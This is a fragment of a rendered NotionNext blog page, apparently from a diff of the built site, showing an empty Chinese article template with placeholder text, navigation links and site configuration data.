bottom-0 z-20 bg-white"><footer class="z-20 py-2 bg:white dark:bg-hexo-black-gray justify-center text-center w-full text-sm relative"><hr class="pb-2"/><div class="flex justify-center"><div><i class="mx-1 animate-pulse fas fa-heart"></i> <a href="https://bothsavage.github.io/" class="underline font-bold text-gray-500 dark:text-gray-300 ">Both Savage</a>.<br/></div>© <!-- -->2024</div><div class="text-xs font-serif">Powered By <a href="https://github.com/tangly1024/NotionNext" class="underline text-gray-500 dark:text-gray-300">NotionNext</a></div><span class="hidden busuanzi_container_site_pv"><i class="fas fa-eye"></i><span class="px-1 busuanzi_value_site_pv"> </span>  </span><span class="pl-2 hidden busuanzi_container_site_uv"><i class="fas fa-users"></i> <span class="px-1 busuanzi_value_site_uv"> </span> </span><h1 class="pt-1">Both Savage</h1></footer></div></div><div id="center-wrapper" class="flex flex-col justify-between w-full relative z-10 pt-14 min-h-screen"><div id="container-inner" class="w-full px-7 max-w-3xl justify-center mx-auto"><div class="transition ease-in-out duration-700 transform order-first opacity-0 translate-y-16"><div id="container"><h1 class="text-3xl pt-12  dark:text-gray-300">空白文章6</h1><section id="article-wrapper" class="px-1"><div id="notion-article" class="mx-auto overflow-hidden "><main class="notion light-mode notion-page notion-block-163026f4445a4595936dc0df491c3776"><div class="notion-viewport"></div><div class="notion-collection-page-properties"><div class="notion-collection-row"><div class="notion-collection-row-body"><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 13A6 6 0 107 1a6 6 0 000 12zM3.751 5.323A.2.2 0 013.909 5h6.182a.2.2 0 01.158.323L7.158 9.297a.2.2 0 01-.316 0L3.751 5.323z"></path></svg><div class="notion-collection-column-title-body">type</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-select"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 13A6 6 0 107 1a6 6 0 000 12zM3.751 5.323A.2.2 0 013.909 5h6.182a.2.2 0 01.158.323L7.158 9.297a.2.2 0 01-.316 0L3.751 5.323z"></path></svg><div class="notion-collection-column-title-body">status</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-select"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M10.889 5.5H3.11v1.556h7.778V5.5zm1.555-4.444h-.777V0H10.11v1.056H3.89V0H2.333v1.056h-.777c-.864 0-1.548.7-1.548 1.555L0 12.5c0 .856.692 1.5 1.556 1.5h10.888C13.3 14 14 13.356 14 12.5V2.611c0-.855-.7-1.555-1.556-1.555zm0 11.444H1.556V3.944h10.888V12.5zM8.556 8.611H3.11v1.556h5.445V8.61z"></path></svg><div class="notion-collection-column-title-body">date</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-date"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 4.568a.5.5 0 00-.5-.5h-6a.5.5 0 00-.5.5v1.046a.5.5 0 00.5.5h6a.5.5 0 00.5-.5V4.568zM.5 1a.5.5 0 00-.5.5v1.045a.5.5 0 00.5.5h12a.5.5 0 00.5-.5V1.5a.5.5 0 00-.5-.5H.5zM0 8.682a.5.5 0 00.5.5h11a.5.5 0 00.5-.5V7.636a.5.5 0 00-.5-.5H.5a.5.5 0 00-.5.5v1.046zm0 3.068a.5.5 0 00.5.5h9a.5.5 0 00.5-.5v-1.045a.5.5 0 00-.5-.5h-9a.5.5 0 00-.5.5v1.045z"></path></svg><div class="notion-collection-column-title-body">slug</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-text"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 4.568a.5.5 0 00-.5-.5h-6a.5.5 0 00-.5.5v1.046a.5.5 0 00.5.5h6a.5.5 0 00.5-.5V4.568zM.5 1a.5.5 0 00-.5.5v1.045a.5.5 0 00.5.5h12a.5.5 0 00.5-.5V1.5a.5.5 0 00-.5-.5H.5zM0 8.682a.5.5 0 00.5.5h11a.5.5 0 00.5-.5V7.636a.5.5 0 00-.5-.5H.5a.5.5 0 00-.5.5v1.046zm0 3.068a.5.5 0 00.5.5h9a.5.5 0 00.5-.5v-1.045a.5.5 0 00-.5-.5h-9a.5.5 0 00-.5.5v1.045z"></path></svg><div class="notion-collection-column-title-body">summary</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-text"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M4 3a1 1 0 011-1h7a1 1 0 110 2H5a1 1 0 01-1-1zm0 4a1 1 0 011-1h7a1 1 0 110 2H5a1 1 0 01-1-1zm0 4a1 1 0 011-1h7a1 1 0 110 2H5a1 1 0 01-1-1zM2 4a1 1 0 110-2 1 1 0 010 2zm0 4a1 1 0 110-2 1 1 0 010 2zm0 4a1 1 0 110-2 1 1 0 010 2z"></path></svg><div class="notion-collection-column-title-body">tags</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-multi_select"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 13A6 6 0 107 1a6 6 0 000 12zM3.751 5.323A.2.2 0 013.909 5h6.182a.2.2 0 01.158.323L7.158 9.297a.2.2 0 01-.316 0L3.751 5.323z"></path></svg><div class="notion-collection-column-title-body">category</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-select"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 4.568a.5.5 0 00-.5-.5h-6a.5.5 0 00-.5.5v1.046a.5.5 0 00.5.5h6a.5.5 0 00.5-.5V4.568zM.5 1a.5.5 0 00-.5.5v1.045a.5.5 0 00.5.5h12a.5.5 0 00.5-.5V1.5a.5.5 0 00-.5-.5H.5zM0 8.682a.5.5 0 00.5.5h11a.5.5 0 00.5-.5V7.636a.5.5 0 00-.5-.5H.5a.5.5 0 00-.5.5v1.046zm0 3.068a.5.5 0 00.5.5h9a.5.5 0 00.5-.5v-1.045a.5.5 0 00-.5-.5h-9a.5.5 0 00-.5.5v1.045z"></path></svg><div class="notion-collection-column-title-body">icon</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-text"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 4.568a.5.5 0 00-.5-.5h-6a.5.5 0 00-.5.5v1.046a.5.5 0 00.5.5h6a.5.5 0 00.5-.5V4.568zM.5 1a.5.5 0 00-.5.5v1.045a.5.5 0 00.5.5h12a.5.5 0 00.5-.5V1.5a.5.5 0 00-.5-.5H.5zM0 8.682a.5.5 0 00.5.5h11a.5.5 0 00.5-.5V7.636a.5.5 0 00-.5-.5H.5a.5.5 0 00-.5.5v1.046zm0 3.068a.5.5 0 00.5.5h9a.5.5 0 00.5-.5v-1.045a.5.5 0 00-.5-.5h-9a.5.5 0 00-.5.5v1.045z"></path></svg><div class="notion-collection-column-title-body">password</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-text"></span></div></div></div></div></div><div class="notion-callout notion-gray_background_co notion-block-8047ce498a3043e3ae211a9913da3140"><div class="notion-page-icon-inline notion-page-icon-span"><span class="notion-page-icon" role="img" aria-label="😀">😀</span></div><div class="notion-callout-text">这里写文章的前言:
 一个简单的开头,简述这篇文章讨论的问题、目标、人物、背景是什么?并简述你给出的答案。<div class="notion-text notion-block-267f685c37ea403e95578da4bdd04efb">可以说说你的故事:阻碍、努力、结果成果,意外与转折。</div></div></div><div class="notion-blank notion-block-30cd7c33dc564b4b962b2445a6442ec8"> </div><h2 class="notion-h notion-h1 notion-h-indent-0 notion-block-7d8e2c2d6ec544358dbcaf87d0101c8c" data-id="7d8e2c2d6ec544358dbcaf87d0101c8c"><span><div id="7d8e2c2d6ec544358dbcaf87d0101c8c" class="notion-header-anchor"></div><a class="notion-hash-link" href="#7d8e2c2d6ec544358dbcaf87d0101c8c" title="📝 主旨内容"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">📝 主旨内容</span></span></h2><h3 class="notion-h notion-h2 notion-h-indent-1 notion-block-3bb7258ab9664595a9c8f254caf970ec" data-id="3bb7258ab9664595a9c8f254caf970ec"><span><div id="3bb7258ab9664595a9c8f254caf970ec" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3bb7258ab9664595a9c8f254caf970ec" title="观点1"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">观点1</span></span></h3><blockquote class="notion-quote notion-block-c302ba58b2274a759ae72697a421adf0"><div>引用的话语</div></blockquote><h3 class="notion-h notion-h2 notion-h-indent-1 notion-block-85a4674e83bc45a685b1cb3f9525c3ec" data-id="85a4674e83bc45a685b1cb3f9525c3ec"><span><div id="85a4674e83bc45a685b1cb3f9525c3ec" class="notion-header-anchor"></div><a class="notion-hash-link" href="#85a4674e83bc45a685b1cb3f9525c3ec" title="观点2"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">观点2</span></span></h3><blockquote class="notion-quote notion-block-bf1909a4a0de493cac25506087ec7d28"><div>引用的话语</div></blockquote><h2 class="notion-h notion-h1 notion-h-indent-0 notion-block-4bd64c598abe4d30910ae3730c858da7" data-id="4bd64c598abe4d30910ae3730c858da7"><span><div id="4bd64c598abe4d30910ae3730c858da7" class="notion-header-anchor"></div><a class="notion-hash-link" href="#4bd64c598abe4d30910ae3730c858da7" title="🤗 总结归纳"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">🤗 总结归纳</span></span></h2><div class="notion-text notion-block-339d9b2f800f415dbd76cd80db3150fe">总结文章的内容</div><h2 class="notion-h notion-h1 notion-h-indent-0 notion-block-6eca53c5d3c148c68a9ea093eeba75f4" data-id="6eca53c5d3c148c68a9ea093eeba75f4"><span><div id="6eca53c5d3c148c68a9ea093eeba75f4" class="notion-header-anchor"></div><a class="notion-hash-link" href="#6eca53c5d3c148c68a9ea093eeba75f4" title="📎 参考文章"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">📎 参考文章</span></span></h2><ul class="notion-list notion-list-disc notion-block-b1e27fb81c5f4345990aa5bcbaecbe50"><li>一些引用</li></ul><ul class="notion-list notion-list-disc notion-block-b68e787c2062418d9c64cc9199e0dba4"><li>引用文章</li></ul><div class="notion-blank notion-block-0b50d24fc00e46eebd81073a69126edb"> </div><div class="notion-callout notion-gray_background_co notion-block-7099f78da8224a4db53ec01dd966f30d"><div class="notion-page-icon-inline notion-page-icon-span"><span class="notion-page-icon" role="img" aria-label="💡">💡</span></div><div class="notion-callout-text">有关Notion安装或者使用上的问题,欢迎您在底部评论区留言,一起交流~</div></div></main></div><div class="m-1 overflow-x-auto"><div class="flex w-full md:justify-end"></div></div><div class="flex justify-between"><div></div></div><section class="text-gray-800 dark:text-gray-400 h-12 flex items-center justify-between space-x-5 my-4"><a class="text-sm cursor-pointer justify-start items-center flex hover:underline duration-300" href="/article/example"><i class="mr-1 fas fa-angle-double-left"></i>示例文章</a><a class="text-sm cursor-pointer justify-end items-center flex hover:underline duration-300" href="/article/240325-ollama">mac体验ollama本地大模型<i class="ml-1 my-1 fas fa-angle-double-right"></i></a></section><div id="comment" class="comment mt-5 text-gray-800 dark:text-gray-300 "></div></section><div id="gitbook-toc-float" class="fixed top-0 right-0 z-40 md:hidden"><div class=" -mr-72 animate__slideOutRight overflow-y-hidden shadow-card w-60 duration-200 fixed right-1 bottom-16 rounded py-2 bg-white dark:bg-hexo-black-gray"><div class="dark:text-gray-400 text-gray-600 h-96 p-3"></div></div></div><div id="right-drawer-background" class="hidden fixed top-0 left-0 z-30 w-full h-full"></div></div></div><div id="jump-to-top" data-aos="fade-up" data-aos-duration="300" data-aos-once="false" data-aos-anchor-placement="top-center" class="fixed xl:right-80 right-2 mr-10 bottom-24 z-20"><i class="fas fa-chevron-up cursor-pointer p-2 rounded-full border bg-white dark:bg-hexo-black-gray"></i></div></div><div class="md:hidden"><footer class="z-20 py-2 bg:white dark:bg-hexo-black-gray justify-center text-center w-full text-sm relative"><hr class="pb-2"/><div class="flex justify-center"><div><i class="mx-1 animate-pulse fas fa-heart"></i> <a href="https://bothsavage.github.io/" class="underline font-bold text-gray-500 dark:text-gray-300 ">Both Savage</a>.<br/></div>© <!-- -->2024</div><div class="text-xs font-serif">Powered By <a href="https://github.com/tangly1024/NotionNext" class="underline text-gray-500 dark:text-gray-300">NotionNext</a></div><span class="hidden busuanzi_container_site_pv"><i class="fas fa-eye"></i><span class="px-1 busuanzi_value_site_pv"> </span>  </span><span class="pl-2 hidden busuanzi_container_site_uv"><i class="fas fa-users"></i> <span class="px-1 busuanzi_value_site_uv"> </span> </span><h1 class="pt-1">Both Savage</h1></footer></div></div><div style="width:32rem" class="hidden xl:block dark:border-transparent relative z-10 "><div class="py-14 px-6 sticky top-0"><div class="pt-10 pb-6 text-gray-400 text-sm border-b"><i class="fa-regular fa-clock mr-1"></i>Last update:  <!-- -->2021-07-02</div><div class="py-4"></div></div></div></main><div id="gitbook-left-float" class="fixed top-0 left-0 z-40 md:hidden"><div class="-ml-80 animate__slideOutLeft overflow-y-hidden shadow-card w-72 duration-200 fixed left-1 top-16 rounded py-2 bg-white dark:bg-gray-600"><div class="dark:text-gray-400 text-gray-600 h-96 overflow-y-scroll p-3"><div id="posts-wrapper" class="w-full flex-grow"><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>技术分享</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 -rotate-90"></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240325-ollama">mac体验ollama本地大模型</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240320-arthas">Arthas简单使用备忘录</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240319-xmrig">Xmrig挖矿入侵服务器排查</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240124-deploy">Java部署脚本&amp;重启备份检查&amp;配置环境</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240121-skywaking">解决SkyWalking在gateway中logback链路丢失</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240119-notion">Notion文章自动同步GitPage</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>心情随笔</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/example">示例文章</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>知行合一</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/begin">开始</a></div></div></div></div></div></div></div></div><div id="left-drawer-background" class="hidden fixed top-0 left-0 z-30 w-full h-full"></div></div><script async="" src="https://www.googletagmanager.com/gtag/js?id=G-XT4YTFWNBG"></script><script async="">
                 window.dataLayer = window.dataLayer || [];
                 function gtag(){dataLayer.push(arguments);}
@@ -6,4 +6,4 @@
                 gtag('config', 'G-XT4YTFWNBG', {
                   page_path: window.location.pathname,
                 });
-              </script></div><script id="__NEXT_DATA__" type="application/json" crossorigin="">{"props":{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection\u0026id=3c6ddc29-47df-43f6-a375-de1c3a9cf466\u0026t=3c6ddc29-47df-43f6-a375-de1c3a9cf466\u0026width=800"},"allNavPages":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6\u0026width=800\u0026fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"开始","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf\u0026width=800\u0026fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🏐","lastEditedDate":"2024-01-19T09:15:24.923Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":8},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":2},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":4},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":1},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":2},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":6},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"Mar 13, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"Mar 23, 2023","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 